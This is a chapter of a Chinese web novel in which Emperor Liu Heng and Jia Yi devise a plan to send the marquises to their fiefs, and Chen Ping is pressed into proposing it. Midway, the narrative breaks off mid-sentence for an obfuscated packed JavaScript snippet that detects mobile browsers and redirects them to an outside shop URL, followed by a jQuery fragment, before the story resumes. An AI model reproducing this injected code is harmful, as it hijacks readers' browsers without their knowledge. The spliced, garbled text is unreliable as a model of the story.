34.邓通不想离职的第五十五天
作品:《邓通今天辞职了吗》 陈平多病,长安朝堂如今几乎是周勃的一言堂。刘恒初登帝位,对重臣一向礼敬有加,周勃虽然大面上维持着对天子应有的礼数,但是骨子里到底有些不以为然,并不真的尊敬这位同他儿子一般年纪的年轻皇帝。
只是周勃身为军功集团之首,大汉功臣,所行政令尚无太大偏颇,加之年事已高,而刘恒却还年轻。若他能如陈平一般渐渐隐退,君臣之间或可保全体面。因此刘恒对他一向以隐忍为先。
然而周勃竟将手伸向了立储之事,这便越过了刘恒的底线。
宋昌虽已执掌南北军,却仍兼着护卫刘恒之责。一则是南北军尚未完全归心,二则初入长安,他不愿将皇帝安危假手他人。因此守夜的差事,他仍亲自承担。
以往刘恒与贾谊私下论政时,宋昌往往护卫左右。贾谊屡次进言,主张削弱藩王、集权中央。此前提议改历法、易服色,亦是意在树立天子威仪。宋昌深以为然——卧榻之侧,岂容他人酣睡。
今日常朝,贾谊以博士身份列席。当刘恒提出更易列侯封地时,宋昌瞥见贾谊腰背挺直、目光灼灼,分明心有触动,欲言又止。
宋昌心中原本还暗自期待他能说些什么。毕竟贾谊论政往往切中要害,见解独到,就连旁听的宋昌亦常觉受益匪浅。
可最终,贾谊只是默然坐下,未发一言。
散朝后,刘恒如常召贾谊随驾。
“贾卿在朝上似有所感?”刘恒也察觉了贾谊当时的异样,此刻语气温和,带着些许探询问道。
贾谊确实有话要说。
更易食邑一事,若与他心中所酝酿的“列侯之国”之策相辅而行,便可令军功集团成员离散四方,置于朝廷监管之下,其势必然渐衰。
到那时,莫说联手掌权,恐怕不出一代,甚至不出数年,一旦远离长安这权力中枢,这些功臣便不得不向天子俯首。
届时,被瓜分的权柄将重归帝王之手。
他本欲直言,却想起邓通“保全自身”的劝诫,故未曾当堂奏对,只打算私下陈奏。
此刻时机正好。见宫人众多,贾谊上前一步,趋近刘恒身侧,低声禀道:“臣请密奏。”
刘恒会意一笑,挥退左右,又向宋昌递去一个眼神。宋昌扶刀而出,肃立于殿门之外。
在退出去的宫人眼中,只见贾谊与天子耳语了一句,天子便屏退了所有人,独留贾博士在室内。
虽知二人常同车共辇、同寝卧谈,这般情景仍不免引人浮想联翩。
两位当事人却浑然未觉——或者说,他们本就始终处于众人目光之中,早不以为异。
“贾卿可是有良策?”刘恒问道。
贾谊遂将“列侯之国”的谋划细细道来。
刘恒听罢,眼中倏然一亮:“此策甚妙。朕与贾卿,可谓心意相通。”
“那臣今日归去便拟成奏疏,正式呈报陛下。”贾谊略作犹豫,还是开口请命。
邓通所言“保全自身”固然有理,然而这些时日的相处,刘恒的赏识与厚待,加之二人治国理念相契,已让贾谊甘愿为此番事业冒一次险。
刘恒并未立即应允,转而似闲谈般问道:“听闻卿搬去了西舍,与邓郎官成了邻人?”
贾谊对于刘恒知晓此事并不意外,只是讶异他会留心这等细务,遂恭敬答道:“回陛下,确有此事。”
“贾卿觉得邓郎官其人如何?”
“邓郎官胸有丘壑,目具远略,实乃不可多得的美玉良才。”
“少见你这般激赏一人。”
“是陛下慧眼识英才。”贾谊此言发自真心。
刘恒不由笑了起来,打趣道:“朕怎么听着,倒像你在自夸?”
“臣亦深感陛下知遇之恩。”贾谊半是玩笑半是真心道。
刘恒又大笑起来,交代道:“奏疏你拟好后,交给宋昌吧,莫令他人知晓。”
“陛下——”贾谊心中有所猜测,却仍觉难以置信。
“此策是你所出,朕心里明白便是。然你如今终究只是博士,虽师从御史大夫,又有朕为你撑腰,但让老臣就国终究是得罪人的大事,还是由更合宜之人出面提议为好。”
“陛下心中可有人选?”贾谊感念刘恒对他的回护,只是他自问在朝中亦非全无倚仗,尚且如此不易。若让不相干之人代他受过,心中实在难安。
刘恒说出一人名,贾谊欣然应允。
更换食邑是大事,而且在可能的情况下,大家都想选最好的。所以这消息一经传出,大家都纷纷走动起来,毕竟这事还未完全议定,还有周旋的余地。
陈平虽然称病在家,但是到底是丞相,也得了消息。他的身体其实较之前已经好了许多,不过他不想夹在新帝和老臣之间,为周勃冲锋陷阵,所以仍然以修养身体为由,常常告病在家。
“爹,陛下是不是把您给忘了?我听说这回陛下将周叔的食邑大都换到了河东郡。河东是京畿要地,朝廷直管,盐池、矿产丰饶,耕地又广,何等富庶!夏侯伯伯、李叔他们的食邑,也都置换到了朝廷直辖的大郡中。可您呢——食邑还在中山郡,户数虽不少,但那毕竟是赵王的封地。上头压着一位封君,赋税收多少,全看他心情。前阵子您病了,送来的赋税可是少了一大截。”
陈平前几日未上朝,食邑并未变动。陈买身为侯府世子、未来的继承人,实在坐不住了。一得到消息,就拉着弟弟陈孺一起来见父亲,名义上是商量,实则想劝陈平也出去走动走动。
陈平没接他的话,反而转向陈孺:“你也和你大哥想的一样,觉得咱家非换食邑不可?”
陈孺迎上兄长热切的目光,颇为为难地摇了摇头。
陈平冷哼了一声:“那你说说,为何不必换?”
陈买忍不住扬声:“对啊,为何不换?”
陈孺道:“如大哥所言,父亲从前的食邑在富庶大郡,于功臣中曾是首屈一指——这是先帝酬谢父亲对汉室之功。如今陛下没有更动之意,我们若主动去争,岂不让人以为我家心有怨怼,觉得从前的食邑不足以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990210|186319||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
酬功?此其一。”
他稍顿,继续道:“其二,周叔、夏侯伯伯他们因何受赏?是因奏请立皇后与太子。父亲未曾参与,自然不该受此‘奖赏’。其三,代王后已逝,陛下若真想立窦夫人为后,可谓名正言顺,随时可为。此次朝中上书,本是顺水推舟之举,陛下却仍拒绝了——这说明了什么?”
“说明——陛下其实不想立窦夫人为后?”陈买疑惑,“但这也不对啊,陛下都与窦夫人生了三个孩子,难道还不算宠爱?”
“不对,那恐怕还是更爱代王后,”陈买又自己推论道,“陛下与代王后可有四个孩子呢!”
陈平与陈孺对视一眼,默契地忽视了陈买的话,陈孺接着说道:“陛下既无意立窦夫人为后,那些上书的大臣又有何功劳可言?说不定反倒触怒了陛下。既然如此,陛下为何还要替他们更换食邑,‘奖赏’他们呢?”
“对啊,为什么?”陈买越想越困惑,“难道是觉得他们进言也是尽臣子本分?”
但是他平日若好心办坏事,父亲顶多不揍他,却绝不会奖赏他。
“所以这更换食邑未必真是好事,对不对?”陈买渐渐回过味来。
陈孺点头:“正是如此。只是我尚未想透,此事表面明明是好事,为何内里可能藏祸?”
这一点,陈孺也未能完全参透——毕竟从表面看,这确实是件好事。不然不会有这么多人趋之若鹜。
陈平心中已有几分推测,正欲向二人点明,外头忽有宫人传报:天子亲临探病。
陈平原就谨慎,告病期间常只着中衣卧于榻上,此时与二子说话,也不过倚着竹枕,并未下地。此刻倒也省了临时装扮的麻烦。
刘恒被人引入内室,房中药香淡淡弥漫。陈平作势要从榻上起身行礼,自然被刘恒止住。陈买领着陈孺向天子行礼后,刘恒走近榻前,见陈平面容虽显憔悴,精神却还清明,便亲切问起病情,言语温煦。
待寒暄过后,刘恒才道此行实有国事请教。
陈平会意,挥手命二子与侍从皆退至室外。
刘恒这才微微一笑,将“令列侯就国”之策细细说与陈平。陈平先前虽有一些揣测,此刻亲耳听闻,仍是心头一震——既心悦臣服,又不免暗生警惕。
周勃等人还指望刘恒做个顺从的皇帝,可刘恒如此手腕,周勃岂能与之相抗?
“陛下需要臣做什么?”陈平也是聪明人,聪明人之间不必绕弯。
“丞相德高望重,素为群臣之首。此策若由丞相提出,必能令人心服,不生怨言。”刘恒含笑道。
这岂止是借刀杀人,更是要杀人诛心。
但陈平能不答应吗?不能。
他不应,刘恒亦可寻他人发声。届时一句“宗室可就国,列侯何以不可?”便足以堵住众人之口——除非有人真想造反。
更何况,眼下他的食邑未变,这是刘恒予他的酬谢,亦是警告。倘若他不识时务,这食邑也未尝不能变动。
“臣遵旨。”陈平恭敬应道。

